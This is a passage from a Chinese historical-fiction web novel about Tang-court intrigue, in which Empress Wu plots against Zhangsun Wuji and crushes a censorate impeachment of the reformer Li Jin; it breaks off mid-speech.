“长孙无忌……‘元舅’……关陇领袖……” 李瑾低声自语,手指轻轻抚过那方螭龙印的拓痕(他已命人小心拓下),“你经营数十年,树大根深,自以为可以永远遮蔽这帝国的天空。却不知, 再 精 密 的 网 络, 也 会 有 漏 洞; 再 隐 蔽 的 勾 当, 也 会 留 下 痕 迹。 这账册,这书信,便是你的阿喀琉斯之踵。 新 政 的 烈 火, 将 从 这 绛 州 的 暗 格 中 燃 起, 烧 向 长 安, 烧 向 整 个 关 陇, 烧 尽 一 切 腐 朽 与 不 公!**”
窗外,夜色深沉,星河寥落。绛州城在不安中沉沉睡去,而一场将决定无数人命运的风暴,正随着那几份誊抄的账册和书信,在驿道上向着长安,疾驰而去。
第114章 媚娘忆旧怨
长安,紫宸殿后殿。
窗外暮色四合,宫灯初上,将殿内映照得一片昏黄暖融。但空气却凝滞得令人窒息。武媚娘端坐于书案之后,面前摊开的,正是李瑾派八百里加急、分三路秘密送回的裴府账册抄本及部分书信的誊录。她的手指缓缓拂过那些冰冷而致命的字句,指尖因用力而微微泛白,凤眸之中,却燃着两簇幽深的火焰,那火焰深处,是沉积了十数年的屈辱、隐忍,与此刻终于喷薄欲出的、冰冷刺骨的 恨 意**。
英国公李绩(徐世勣)坐在下首,花白的眉峰紧锁,仔细审阅着另一部分抄件,脸色亦越来越凝重。殿内伺候的宫人早已被屏退,只剩下心腹女官婉儿静立角落,低眉垂目,仿佛一尊雕像。
“螭龙印……‘北地霜寒,庄禾冻损,老农忧心’……‘南山铜矿,火耗难掩’……” 武媚娘的声音很轻,却带着一种金属摩擦般的冷硬,“好一个忧国忧民的‘元舅’!好一个清正廉洁的关陇领袖!李公,你看到了吗?这就是我们大唐的擎天玉·柱,架海金梁!私贩盐铁,贪墨军资,操纵刑狱,卖官鬻爵……桩桩件件,哪一条不是抄家灭族的大罪?!他长孙无忌,眼里可还有陛下,可还有大唐的律法纲常?!”
李绩放下手中的纸张,长长叹了口气,那叹息声中充满了疲惫与一种“终于来了”的复杂情绪。“证据确凿,脉络清晰。裴家,不过是冰山一角。这账册所载,时间跨度十余年,地域遍及数道,涉及的物资、钱粮、官员数目惊人。背后若无一个庞然大物在操控、分润,绝无可能。长孙无忌……他脱不了干系。”
“何止脱不了干系!” 武媚娘猛地一掌拍在案上,震得笔架上的御笔跳动,“他便是这盘根错节、吸食国髓的巨网中心!是本宫与陛下,不,是这大唐江山,最大的蛀虫!”
她的胸膛微微起伏,眼中的火焰炽烈燃烧,仿佛要将手中这些纸页,连同纸页背后那个盘踞朝堂数十年的身影,一同焚为灰烬。压抑了太久的情绪,在此刻找到出口,再也无法抑制。
“李公,你知道本宫等这一天,等了多久吗?” 武媚娘的声音微微发颤,不是恐惧,而是极致的激动与恨意交织,“从永徽元年,不,或许更早……从他长孙无忌用那种居高临下、仿佛看一件工具、甚至看一个 祸 水 的 眼 神 看 着 本 宫 开 始,** 本宫就知道,有他在一天,这大唐的朝堂,这陛下的身边,就永远没有本宫,没有我们母子,真正立足、施展抱负的地方!”
她的目光投向窗外沉沉的夜色,仿佛穿透了时光,回到了那些屈辱、惊惶、步步为营的岁月。
“永徽初年,先帝驾崩,雉奴(李治小名)即位,长孙无忌以顾命大臣、元舅之尊,总揽朝政,权倾天下。那时,本宫还只是先帝身后一个微不足道的才人,被发配感业寺,青灯古佛,前途渺茫。” 武媚娘的声音带着回忆的冰冷,“是雉奴念着旧情,也是本宫自己不愿认命,才得以重回宫廷。可即便入了宫,封了昭仪,在长孙无忌,在那些关陇老臣眼里,本宫是什么?不过是 凭 借 美 色 蛊 惑 君 王 的 妖 妇, 是 出 身 卑 微、 不 配 母 仪 天 下 的 武 氏 女! 王皇后、萧淑妃背后,站着的是谁?不就是他长孙无忌,是整个关陇门阀!他们需要一个听话的、出身高贵的皇后,来维系他们的权势和荣耀,而不是本宫这样一个‘来历不明’、‘心思深沉’的庶族女子!”
她的语气渐渐激动起来:“本宫与王皇后、萧淑妃相争,步步惊心。雉奴欲废王立武,满朝文武,以长孙无忌、褚遂良为首,几乎是 一 面 倒 地 反 对! 太极殿上,褚遂良以头抢地,血溅玉阶,口口声声‘陛下必欲易后,伏请妙择天下令族,何必武氏?’ 还说什么‘昭仪经事先帝,众所共知,陛下岂可蔽天下耳目?’ 将本宫置于何等不堪之地!而长孙无忌,他就站在一旁,面色沉静,一言不发,可那眼神,那姿态,分明是默许,是纵容,是 无 声 的 鄙 夷 与 压 迫! 他根本不屑于亲自下场与一个后宫妇人争辩,但他站在那里,就是一座山,压得雉奴喘不过气,压得本宫几无立锥之地!”
“那时,雉奴年轻,优柔,被这班老臣的气势所慑,几乎要动摇。是本宫,是李公你,还有已故的司空(李勣,即徐世勣,当时为司空)那句‘此陛下家事,何必更问外人’,才让雉奴最终下定决心。” 武媚娘看向李绩,眼中有一丝感激,但更多的是冰冷的决绝,“可即便如此,长孙无忌何曾真正服气?他表面不再反对立后,可暗地里呢?他联合褚遂良、韩瑗、来济等人,处处掣肘,时时打压。本宫初掌后宫,举步维艰。雉奴欲提拔本宫兄长、任用寒门,哪一次不是遭到他们明里暗里的阻挠?他们把控着尚书省、中书省,把持着御史台,门生故吏遍布朝野,雉奴的旨意,出了紫宸殿,往往就变了味道! 那 几 年, 本 宫 与 雉 奴, 就 像 是 被 关 在 一 座 无 形 的 牢 笼 里, 看 似 君 临 天 下, 实 则 处 处 受 制, 政 令 难 出 宫 门!**”
她站起身,缓缓走到窗前,背影在宫灯下拉得很长,显得有些孤峭。“后来,褚遂良、韩瑗、来济他们,或贬或死,表面上,是雉奴乾纲独断,清除了‘反武’的势力。可李公你我都清楚,那不过是剪除了长孙无忌的羽翼,他这棵大树的根,还深植在关陇,在朝堂,在军中的每一个角落!他变得更加深沉,更加隐忍,不再直接对抗,却用他无处不在的影响力,像蛛网一样束缚着朝政,用他所谓的‘元老重臣’的资历和威望, 时 时 刻 刻 提 醒 着 本 宫 和 雉 奴, 谁 才 是 这 大 唐 真 正 的 主 人!”
“永徽六年,本宫终于得以‘二圣临朝’,与雉奴并坐听政。” 武媚娘转过身,脸上露出一丝讥诮的冷笑,“可那又如何?每次朝会,他长孙无忌站在那里,哪怕一言不发,那无形的压力就如影随形。每当本宫提出新政建议,推行某项举措,下面那些关陇出身的官员,那些他的门生故旧,便会或明或暗地抵制、拖延、阳奉阴违!他们看本宫的眼神,永远带着那种隐藏得很好的、却深入骨髓的轻蔑—— 一 个 女 人, 一 个 庶 族 出 身 的 皇 后, 也 配 与 他 们 平 起 平 坐, 指 点 江 山? 新政?在他们看来,不过是 女 人 和 寒 门 小 子 的 胡 闹, 是 在 动 摇 他 们 世 代 相 传 的 根 基!**”
她的声音陡然拔高,充满了压抑已久的愤懑:“李瑾在汴州遇刺,在绛州被构陷,这背后,难道没有他长孙无忌的影子?他以为他做得隐秘,他以为他还是那个可以一手遮天的‘元舅’!他夜宴李瑾,言语机锋,看似劝诫,实则是 威 胁, 是 警 告! 警告本宫,警告李瑾,不要动他们的奶酪,不要触碰关陇集团的根本利益!否则,便是鱼死网破!”
武媚娘走回案前,拿起那几张誊录了螭龙印信的书信抄件,指尖用力,几乎要将纸张戳破。“可是,他错了。大错特错!” 她的声音变得冰冷而决绝,仿佛万载寒冰,“本宫不是王皇后,不是萧淑妃!本宫能从一个感业寺的尼姑走到今天,靠的从来不是忍气吞声,不是摇尾乞怜!他长孙无忌,还有他代表的那些高高在上的门阀,他们吸着大唐的血,享受着无上的荣华,却还要将天下人视为蝼蚁,将皇权视为玩物! 他 们 以 为 这 天 下 是 他 们 关 陇 门 阀 的 天 下, 是 他 们 世 家 的 天 下, 可 是 他 们 忘 了, 这 是 李 家 的 天 下, 是 陛 下 的 天 下, 是 千 千 万 万 大 唐 子 民 的 天 下!**”
“如今,李瑾找到了这账册,找到了这铁证!” 武媚娘的目光锐利如刀,看向李绩,“这不是巧合,这是天意!是天要亡他长孙无忌,亡这腐朽的关陇门阀!是他们自己作恶多端,是他们自己将把柄送到了我们手上!李公,这是千载难逢的机会,是我们彻底搬倒这座大山,真正掌握朝政,推行新政,开创一个全新局面的机会! 此 战, 不 是 为 了 本 宫 一 人 之 私 怨, 是 为 了 陛 下 的 皇 权, 为 了 大 唐 的 未 来, 为 了 扫 清 一 切 阻 碍 国 家 强 盛 的 绊 脚 石! 我们必须赢,也一定会赢!”
李绩看着眼前这位情绪激荡、却又逻辑清晰、意志如铁的皇后,心中亦是感慨万千。他见证了她是如何一步步从后宫走到前朝,如何在与长孙无忌等元老重臣的明争暗斗中生存下来,并最终获得“二圣临朝”的地位。她的坚韧、智慧、手段,乃至此刻喷薄而出的恨意与决心,都让他明白,这场对决,已不可避免,也必将是你死我活。
“皇后殿下,” 李绩缓缓起身,拱手沉声道,“老臣明白。长孙无忌结党营私,贪墨国帑,证据确凿,已非寻常政争,实乃 国 之 巨 蠹。 此人不除,国无宁日,新政难行。老臣虽已年迈,但愿为陛下、为皇后殿下,为这大唐江山,再效犬马之劳!只是……” 他顿了顿,老眼中闪过一丝忧色,“长孙无忌树大根深,党羽遍布朝野军中。仅凭这些账册书信,虽可定其罪,但要将其彻底扳倒,并清除其党羽,仍需周密筹划,雷霆一击,且要防备其狗急跳墙,铤而走险。尤其要提防其在军中的影响力。”
“李公所虑极是。” 武媚娘深吸一口气,强迫自己冷静下来,眼中闪烁着锐利而理智的光芒,“此事需分几步走。第一,立刻加派可靠人手,接应、保护李瑾,务必保证他的人身安全,并将裴律师、崔琰等关键人犯,以及账册书信原件,安全押解回京!第二,秘调北衙禁军可靠将领,加强宫禁与长安城防,尤其要盯紧可能与长孙无忌有牵连的将领。第三,联络御史台中并非长孙一党的官员,以及朝中那些同样受关陇排挤、或心向陛下的寒门、庶族官员,暗中准备,一旦发动,需形成舆论声势。第四……” 她看向李绩,目光深沉,“需请李公出面,联络军中故旧,尤其是那些 与 长 孙 无 忌 并 非 铁 板 一 块, 或 对 其 独 揽 军 权 早 有 不 满 的 将 领, 陈 明 利 害, 稳 住 军 心。 只要军队不乱,长安不乱,他长孙无忌便翻不了天!”
“老臣领命。” 李绩郑重应下,随即又道,“只是,陛下那里……”
提到皇帝李治,武媚娘眼中闪过一丝复杂,但很快被坚定取代:“陛下仁孝,对这位‘元舅’向来敬重,甚至……有些畏惧。骤然让他面对如此局面,恐其难以决断,或生不忍之心。此事,在发动之前,不宜让陛下知晓全部细节。待我们准备妥当,证据确凿,朝议汹汹之时,再一并呈报陛下。届时, 铁 证 如 山, 众 怒 难 犯, 即 便 是 陛 下, 也 无 法 再 行 包 庇。** 本宫会亲自向陛下陈说利害。”
这已是近乎“逼宫”的谋划,但李绩知道,面对长孙无忌这样的对手,优柔寡断、心慈手软,便是自取灭亡。他沉默片刻,点了点头:“老臣明白。只是,动作需快,需密。长孙无忌在朝中眼线众多,一旦他察觉我们有异动,必会抢先发难。”
“所以,我们必须比他更快!” 武媚娘走回案后,重新坐下,那份属于帝国执政皇后的冷静与威严重新回到她身上,“李瑾在绛州动手,已打草惊蛇。长孙无忌此刻,恐怕也在调兵遣将,布置反击。这是一场生死时速的较量。李公,我们分头行事,务求一击必中!”
“是!” 李绩肃然拱手,转身欲去安排。
“李公。” 武媚娘忽然又叫住他,声音低了一些,却更显沉重,“此一战,关乎社稷,关乎你我身家性命,更关乎这大唐,能否真正摆脱门阀桎梏,焕发新生。有劳了。”
李绩身形一顿,没有回头,只是沉沉应了一声:“老臣,万死不辞。” 随即大步离去,身影消失在殿外的夜色中。
殿内重新安静下来,只剩下武媚娘一人。她重新拿起那些账册抄件,一页页仔细看着,仿佛要将上面的每一个字、每一个数字都刻进心里。那些冰冷的证据,此刻在她眼中,却化作了熊熊的复仇之火,和一幅崭新的、充满希望的帝国蓝图。
“长孙无忌,” 她低声自语,声音冰冷如九幽寒风,“你施加于本宫的羞辱,阻挡本宫道路的绊脚石,还有你们关陇门阀百年来对皇权的侵蚀,对寒门的压制,对国帑的贪婪……是时候, 连 本 带 利, 一 并 清 算 了。 这盘棋,你下了几十年,现在,该换本宫来落子了。”
宫灯摇曳,将她坚定而略显孤寂的身影,投射在殿壁上,拉得很长,很长。
第115章 御史台发难
永徽六年四月的长安朝会,空气里仿佛都浸满了无形的硝烟。自李瑾在绛州以雷霆手段拿下崔琰、裴氏父子,并以八百里加急将裴府暗格中搜出的账册、书信等“要命”之物秘密送回长安后,这座帝国的中枢便如同被投入巨石的深潭,表面看似在皇后的强力压制下维持着诡异的平静,内里却已暗流汹涌,漩涡四起。
各方势力都在暗中较劲,传递消息,串联立场,调动手中的筹码。长孙无忌府邸的访客,在夜深人静时明显增多,又悄无声息地散去。北衙禁军、左右千牛卫的将领,也接到了数道来源不同、甚至可能互相矛盾的指令。朝臣们彼此见面,寒暄的笑容背后,是掩藏不住的审慎与试探。所有人都嗅到了那股山雨欲来、甚至可能是天崩地裂的危险气息。
皇后武媚娘与英国公李勣,正按照既定策略,紧锣密鼓地部署着。一面加派精锐接应、保护尚在河东的李瑾及关键人犯、物证;一面通过可靠渠道,秘密联络军中非长孙一系的将领,并暗中安抚、拉拢朝中非关陇核心的官员。同时,对长安城防与宫禁的控制,也提升到了前所未有的级别。他们在等待,等待李瑾将人证物证安全押解回京,等待一个能将所有证据摊开、发动总攻的时机。
然而,他们的对手,那位看似沉寂、实则已如受伤猛虎般被彻底激怒的“元舅”长孙无忌,显然不会坐以待毙。他比任何人都清楚,裴府账册一旦在朝堂公开,将意味着什么。那不仅是裴家、崔琰的末日,更是悬在他长孙无忌和整个关陇集团头顶的、随时可能落下的 铡 刀。 他必须反击,而且是 不 顾 一 切、 抢 在 对 方 之 前 的 反 击!
反击的号角,在四月中的一次常朝上,以一种极为正式、却又极为阴狠的方式,骤然吹响。
那日,紫宸殿内冠盖云集,气氛肃穆。皇帝李治因“偶感风寒”,并未临朝,由皇后武媚娘垂帘听政。珠帘之后,武媚娘凤冠朝服,面容沉静,但那双锐利的眸子,透过薄纱,冷冷扫视着下方躬身肃立的百官。她能感觉到,今日朝会的气氛,与往日不同。许多官员,尤其是那些出身关陇、或与关陇集团关系密切者,眼神中少了往日的闪烁与回避,多了几分近乎悲壮的决绝。
果然,朝议进行到一半,按例由御史台奏事时,一直沉默的御史大夫(长孙无忌姻亲,关陇核心成员)王本立,忽然出列,手持象牙笏板,声音沉重而清晰地响起:
“皇后殿下,臣,御史大夫王本立,有本启奏,事关 朝 纲 大 体, 国 家 安 危, 不 得 不 言!”
此言一出,殿中空气为之一凝。王本立身为御史台长官,向来以“刚正敢言”自诩,但更多时候,其“言”往往代表着关陇集团的政治风向。他此刻以如此郑重的语气开口,所有人都知道,重头戏来了。
“王卿有何事奏?” 珠帘后,武媚娘的声音平静无波。
“臣要弹劾两人!” 王本立声音陡然提高,带着一股悲愤之气,“其一,弹劾 同 中 书 门 下 三 品、 检 校 兵 部 尚 书 李 瑾! 其二……” 他略微一顿,目光似有似无地扫过珠帘,咬了咬牙,继续道,“ 臣 斗 胆, 请 皇 后 殿 下 暂 避 帘 后, 容 臣 直 奏 陛 下! 所 奏 之 事, 恐 … … 有 涉 宫 闱。**”
“有涉宫闱”四字,如同惊雷,炸响在寂静的大殿!这是要将矛头, 直 指 垂 帘 听 政 的 皇 后 本 人!** 许多官员骇然变色,连一些原本支持新政的中立派,也惊疑不定地看向王本立,又看向珠帘。
珠帘后,武媚娘的瞳孔微微一缩,但面色丝毫不变,甚至嘴角还勾起一丝几不可察的冷笑。来了,果然来了。长孙无忌的反击,不是从辩解裴府账册开始,而是选择了 攻 其 必 救、 甚 至 釜 底 抽 薪 的 方 式—— 直 接 攻 讦 她 这 个 新 政 最 大 的 靠 山, 以 及 新 政 的 执 行 者 李 瑾! 这是要 掀 桌 子, 制 造 政 治 丑 闻, 在 道 义 和 舆 论 上 将 他 们 彻 底 打 倒!**
“本宫代陛下听政,凡军国大事,皆可奏闻。王卿但讲无妨,不必避讳。” 武媚娘的声音依旧平稳,却带着一股不容置疑的威仪。
王本立似乎早料到皇后不会轻易退让,他深吸一口气,从袖中取出一卷早已准备好的奏疏,朗声念道:
“臣 弹 劾 李 瑾 三 大 罪!**”
“其一, 专 权 跋 扈, 残 害 忠 良! 李瑾自持陛下、皇后宠信,假借推行新政之名,手持尚方剑,巡行州县, 动 辄 以 谋 逆、 贪 墨 等 罪 名, 锁 拿 朝 廷 命 官, 抄 没 士 绅 家 产, 罗 织 罪 名, 屈 打 成 招! 去岁汴州郑氏,今岁河东崔琰、裴氏,皆地方著姓,世代忠良,李瑾不查实情,不行文书,悍然动用兵甲,擅自拘捕,严刑逼供,致使地方震恐,士林寒心! 其 行 径, 与 酷 吏 何 异? 长 此 以 往, 恐 地 方 官 员 人 人 自 危, 不 敢 任 事, 朝 廷 法 度 荡 然 无 存! 此 其 罪 一 也!” 他将李瑾在汴州、河东的果断执法,歪曲成滥用职权、残害忠良,并上升到破坏朝廷法度、使官员不敢任事的高度。
“其二, 结 党 营 私, 排 斥 异 己! 李瑾利用‘考成法’、‘青苗贷’等新政,大肆提拔寒门微末、甚至不通经义之徒,充斥州县要职,形成所谓‘新政党羽’。而对遵循祖制、持身守正的朝廷旧臣,则百般打压,动辄以‘阻挠新政’、‘因循守旧’为名,或贬或黜!其 用 人 唯 亲, 党 同 伐 异, 已 成 朝 廷 一 大 弊 政! 更 有 甚 者, 其 与 北 门 学 士 等 一 干 幸 进 之 徒, 结 为 死 党, 把 持 言 路, 蒙 蔽 圣 听! 此 其 罪 二 也!**” 这第二条,直接将新政的用人政策污名化为“结党营私”,并将矛头隐隐指向了武媚娘倚重的“北门学士”智囊团。
“其三,” 王本立声音更加激愤,几乎是指着虚空(实则是珠帘方向)喝道,“ 蛊 惑 宫 闱, 外 戚 干 政, 图 谋 不 轨! 此为其最不可恕之罪!” 他刻意停顿,让“外戚干政”、“图谋不轨”这八个字在殿中回荡,引发一片压抑的骚动。
“李瑾非皇室近支,却以外姓之身,掌枢密,握兵权, 与 宫 中 某 些 有 力 人 物 过 从 甚 密, 内 外 勾 结, 把 持 朝 政, 已 有 尾 大 不 掉 之 势! 其 所 行 新 政, 多 有 违 背 祖 制、 扰 乱 国 本 之 处, 名 为 富 国 强 兵, 实 则 为 其 个 人 及 其 背 后 势 力 攫 取 权 柄、 打 压 异 己 制 造 口 实! 近 日 更 在 河 东 擅 动 刀 兵, 拘 捕 大 臣 姻 亲, 其 用 心 叵 测, 已 有 不 臣 之 心! 臣 恳 请 陛 下、 皇 后 殿 下 明 察, 立 即 罢 黜 李 瑾 一 切 职 务, 锁 拿 进 京, 交 由 三 司 会 审, 以 正 朝 纲, 以 安 天 下!” 这第三条,已近乎是 指 控 李 瑾 与 武 媚 娘 勾 结 谋 反了!** 将“外戚干政”、“图谋不轨”的帽子扣上,并暗示皇后是李瑾的“宫中有力人物”靠山,其用心之歹毒,令人不寒而栗。
王本立奏毕,将奏疏高举过顶,跪倒在地,以头触地,做出一副“死谏”的悲壮姿态。
他话音方落,御史台中,又有数名侍御史、监察御史出列,齐刷刷跪倒,同声高呼:
“臣等附议!李瑾专权跋扈,结党营私,蛊惑宫闱,罪在不赦!请陛下、皇后殿下立即下旨,罢黜查办!”
“新政扰民,李瑾乃祸首!请朝廷收回成命,停止新政,安抚地方!”
“外戚干政,国之大忌!请皇后殿下避居后宫,还政于陛下,以正视听!”
一时间,殿中跪倒一片,几乎全是关陇集团在御史台的代言人及其盟友。他们显然早有预谋,分工明确,有人主攻李瑾“罪行”,有人则将矛头引向“新政”本身,更有人直接将矛头指向垂帘的武媚娘,要求其“还政”。 这 是 一 场 有 组 织、 有 步 骤 的 政 治 围 剿, 目 的 就 是 要 在 朝 堂 上 制 造 出 “ 人 心 汹 汹, 李 瑾 与 皇 后 已 失 臣 心” 的 假 象, 逼 迫 皇 帝 和 皇 后 做 出 让 步, 甚 至 直 接 将 李 瑾 和 新 政 打 入 万 劫 不 复 之 地。**
紫宸殿内,鸦雀无声。那些非关陇出身的官员,或惊骇,或犹豫,或愤怒,但面对这突如其来的、气势汹汹的集体发难,一时竟无人敢轻易出头反驳。支持新政的许敬宗等人,脸色铁青,正要出列,却被身旁的同僚暗暗拉住——对方势头正盛,此时硬顶,恐反遭其噬。
所有的目光,都投向了那层薄薄的珠帘。
珠帘之后,久久没有声音传出。就在王本立等人心中暗喜,以为皇后被这阵势震慑住,或无言以对时,武媚娘那清冷而平静的声音,终于再次响起,听不出丝毫波澜:
“王卿,还有诸位御史,所奏之事,件件骇人听闻,直指国家重臣,甚至涉及本宫。本宫倒要请教,你们弹劾李瑾‘专权跋扈,残害忠良’,说他锁拿郑氏、崔琰、裴氏是‘罗织罪名,屈打成招’。 可 有 实 据? 郑 氏 勾 结 胥 吏, 挪 用 官 贷, 行 刺 钦 差, 人 证 物 证 俱 在, 陛 下 已 御 批 定 谳。 崔 琰、 裴 氏 在 河 东 之 事, 李 相 奉 旨 查 办, 尚 未 有 最 终 结 论, 你 们 如 何 就 能 断 定 其 必 是 ‘ 忠 良’, 李 瑾 必 是 ‘ 残 害’? 莫 非, 你 们 比 奉 旨 查 案 的 钦 差, 比 陛 下 的 圣 断, 更 了 解 实 情?”
她先抓住“证据”这一点反击,点明郑家之案已结,河东之案未定,对方所谓“残害忠良”并无实据,反而有质疑皇帝圣断、干预钦差办案之嫌。
王本立硬着头皮道:“皇后殿下!郑氏之案或有蹊跷,然崔琰乃朝廷观察使,裴氏乃河东著姓,李瑾未经朝廷明旨,擅自调兵拘拿,已是越权!此风一开,恐地方大员人人自危!至于证据……李瑾在河东所为,已激起民怨,绛州之事,便是明证!”
“激起民怨?” 武媚娘冷笑一声,“本宫怎么听说,是有人煽动佃户,冒充乡民,围攻县衙,阻挠官府清丈田亩,抗拒朝廷新政?李瑾身为钦差,遇此乱象,果断处置,弹压不法,正是其职责所在!难道要坐视地方生乱,朝廷威严扫地不成? 你 们 口 口 声 声 说 李 瑾 ‘ 擅 自 ’、 ‘ 越 权 ’, 莫 非 忘 了, 陛 下 赐 他 尚 方 剑, 便 是 予 他 临 机 专 断 之 权, 如 朕 亲 临! 他 在 河 东 所 为, 正 是 行 使 陛 下 所 授 之 权! 你 们 如 此 急 于 给 他 定 罪, 是 在 质 疑 陛 下 的 授 权 吗?**” 她再次将问题拔高到“质疑皇权”的层面。
“臣等不敢!” 王本立等人连忙否认,但气势已不如初。
“至于‘结党营私,排斥异己’,” 武媚娘继续道,语气转厉,“‘考成法’选拔官吏,唯才是举,唯绩是论,此乃朝廷明诏!寒门子弟,若有真才实学,于国于民有功,为何不能提拔?难道这朝堂之上,只能由你们口中的‘著姓’、‘旧臣’把持,才是正道?至于‘北门学士’,乃是本宫为咨询政务、整理典籍而设,皆为饱学之士,如何就成了‘幸进之徒’、‘结为死党’? 你 们 如 此 攻 讦, 是 否 对 所 有 通 过 正 途 为 官、 为 朝 廷 效 力 的 寒 门 士 子, 以 及 为 国 尽 忠 的 学 士, 都 心 怀 不 满, 欲 除 之 而 后 快?”
这话更重,直接扣上了“打压寒门”、“排斥忠良”的帽子,将御史台的弹劾,定性为门阀对寒门的打压,政治立场瞬间鲜明。
王本立等人额头见汗,连道“不敢”。
“最后,” 武媚娘的声音陡然变得冰冷刺骨,带着一股直透人心的威压,“ 你 们 竟 敢 以 ‘ 蛊 惑 宫 闱, 外 戚 干 政, 图 谋 不 轨’ 这 等 大 逆 不 道 的 言 辞, 攻 讦 朝 廷 重 臣, 影 射 本 宫! 李 瑾 是 陛 下 亲 拔 于 微 末, 委 以 重 任 的 股 肱 之 臣, 他 的 每 一 项 任 命, 每 一 道 诏 书, 皆 出 自 陛 下 圣 裁, 经 过 政 事 堂 议 定! 你 们 将 陛 下 的 股 肱 说 成 ‘ 外 戚 干 政’、 ‘ 图 谋 不 轨’, 将 陛 下 的 决 策 置 于 何 地? 将 朝 廷 法 度 置 于 何 地? 又 将 本 宫 这 个 代 天 听 政 的 皇 后, 置 于 何 地? !**”
一连串的质问,如同重锤,敲在每个人心头。武媚娘没有丝毫回避,直接点破了对方弹劾中最恶毒、也是最致命的攻讦,并以“陛下圣裁”、“朝廷法度”为盾,以“代天听政”的权威为剑,进行了最强硬的反击!
“臣等……臣等绝无此意!只是忧心国事,恐奸佞蒙蔽圣听……” 王本立等人伏地,声音已有些发颤。他们没想到,皇后的反应如此激烈,如此强硬,且句句占理,直指要害。
“忧心国事?好一个忧心国事!” 武媚娘声音中带着毫不掩饰的讥讽,“本宫看你们,是 忧 心 自 己 的 权 位, 忧 心 新 政 触 动 了 你 们 的 利 益 吧! 李瑾在河东查案,尚未有定论,你们便急不可耐地跳出来,罗织罪名,群起而攻之,甚至不惜攀诬本宫! 这 是 忧 心 国 事 的 样 子 吗? 这 分 明 是 结 党 营 私, 打 压 异 己, 妄 图 左 右 朝 政! 本宫今日倒要看看,这紫宸殿上,究竟是陛下的圣意、朝廷的法度说了算,还是你们这几张嘴,几本空口无凭的奏疏说了算!”
她猛地一拍凤座扶手(早有准备),厉声道:“来人!将王本立及一干附议御史,统统给本宫 轰 出 殿 去! 革 去 职 衔, 交 由 大 理 寺 看 管, 给 本 宫 彻 查, 他 们 今 日 所 言, 是 受 何 人 指 使, 有 何 凭 据, 又 是 如 何 串 联 勾 结, 在 朝 堂 之 上 公 然 诬 陷 大 臣, 攀 诬 本 宫! 查 清 之 后, 严 惩 不 贷!”
“皇后殿下!不可!臣等忠心为国啊!” 王本立等人魂飞魄散,嘶声喊叫。他们本想以“死谏”博取名声,逼迫皇后退让,却没想到皇后竟如此“不按常理出牌”,直接以更严厉的“结党营私”、“攀诬皇后”的罪名,将他们反手拿下!
殿外,早已准备好的金瓜武士应声而入,不由分说,将王本立等七八名御史拖了出去,哭喊求饶声渐渐远去。
紫宸殿内,死一般的寂静。所有官员,无论属于哪一派,都被皇后这雷霆万钧、不留丝毫情面的反击震慑住了。这已不仅仅是驳斥,这是 赤 裸 裸 的 宣 战 与 清 洗! 皇后在用最直接的方式告诉所有人, 谁 敢 在 这 个 时 候 跳 出 来 攻 讦 新 政 和 李 瑾, 谁 就 是 下 一 个 王 本 立!
支持新政的官员,心中大定,看向珠帘的目光充满了敬畏。中间派和摇摆者,噤若寒蝉,再不敢有丝毫异动。而那些关陇集团的成员,则面色惨白,眼中充满了惊惧与不甘。他们没想到,皇后的反击如此迅猛酷烈,不仅没能扳倒李瑾,反而折损了御史台这条重要的臂膀!
珠帘后,武媚娘缓缓坐直身体,凤目如寒星,扫过下方百官,声音恢复了平静,却带着一股不容置疑的决断:
“新政乃国之根本,陛下与本宫推行之志,坚如磐石!李瑾乃朝廷重臣,忠心体国,岂容小人肆意污蔑!自今日起, 再 有 敢 无 凭 无 据, 攻 讦 新 政, 诬 陷 大 臣 者, 不 论 其 身 份 官 职, 一 体 以 结 党 乱 政 论 处, 绝 不 姑 息!** 退朝!”
皇后拂袖起身,在宫人簇拥下,转入后殿,留下满殿神色各异的官员,在压抑到极点的沉默中,慢慢消化着这场惊心动魄的朝会带来的冲击。
御 史 台 的 发 难, 被 武 媚 娘 以 更 加 强 硬 甚 至 霸 道 的 方 式, 狠 狠 地 砸 了 回 去。 但所有人都知道,这只是 暴 风 雨 前 的 第 一 道 闪 电。** 长孙无忌绝不会就此罢休,双方已彻底撕破脸皮,真正的决战,随着王本立等人被拖出紫宸殿的那一刻,已然拉开了最血腥的帷幕。接下来,将是更加激烈、更加残酷的正面交锋,直至一方被彻底击垮,再无翻身之日。
长安城的上空,阴云密布,雷声隐隐。
第116章 金殿风云变
王本立等御史被如狼似虎的金瓜武士拖出紫宸殿,哭喊求饶声渐行渐远,最终消失在深长的宫道尽头。然而,殿内的死寂并未持续太久,反而酝酿着更为压抑、更为凶险的风暴。皇后武媚娘以近乎“暴君”般的雷霆手段,悍然拿下御史台数名言官,这无异于在滚烫的油锅里泼下了一瓢冰水,瞬间激起了更为剧烈的反应。
短暂的死寂后,殿中如炸开了锅。
“皇后殿下!万万不可!” 一声苍老而激愤的声音响起,只见侍中(门下省长官,亦为关陇核心重臣)韩瑗出列,他须发皆白,此刻却面色涨红,手持笏板,因激动而微微颤抖,“王大夫等人纵然言辞过激,亦是出于忠君体国、防微杜渐之心!御史风闻奏事,乃祖宗法度,纵有小过,亦当宽容。皇后殿下不经有司勘问,便以‘结党乱政’之名,革职下狱,此举……此举恐阻塞言路,令天下忠贞之士寒心啊!老臣恳请皇后殿下,收回成命,从轻发落!”
韩瑗是长孙无忌的铁杆盟友,永徽年间废王立武风波中便是坚决的反对派,虽然后来被贬黜又起复,但立场从未动摇。他此刻出面,分量极重,代表的不仅仅是个人,更是关陇集团中较为“持重”、讲究“程序”一派的态度。他先给王本立等人扣上“忠君体国”的帽子,再搬出“祖宗法度”、“御史风闻奏事”的特权,最后以“阻塞言路”相威胁,言辞看似恳切,实则步步紧逼。
“韩侍中此言差矣!” 不等珠帘后回应,同中书门下三品、支持新政的许敬宗立刻出列反驳。他本就与长孙无忌一党不睦,又得武后信赖,此刻正是表现之时。他声调不高,却条理清晰:“御史风闻奏事,所奏亦需有据,至少需是‘风闻’,而非凭空捏造,更非恶意构陷!王本立等人,无凭无据,便以‘蛊惑宫闱’、‘外戚干政’、‘图谋不轨’等大逆罪名,攻讦皇后殿下与国之柱石李相,此非风闻,实乃 诽 谤 君 上, 攀 诬 大 臣! 其心可诛,其行可鄙!皇后殿下代天听政,母仪天下,岂容小人如此污蔑?陛下授予尚方剑,信任李相推行新政,整顿吏治,此乃朝廷大计,又岂是‘外戚干政’四字可以抹杀? 韩 侍 中 口 口 声 声 ‘ 祖 宗 法 度’、 ‘ 不 可 阻 塞 言 路’, 难 道 祖 宗 法 度 就 是 纵 容 御 史 以 莫 须 有 之 罪, 攻 讦 皇 后, 诬 陷 忠 良 吗? 若 如 此, 要 这 法 度 何 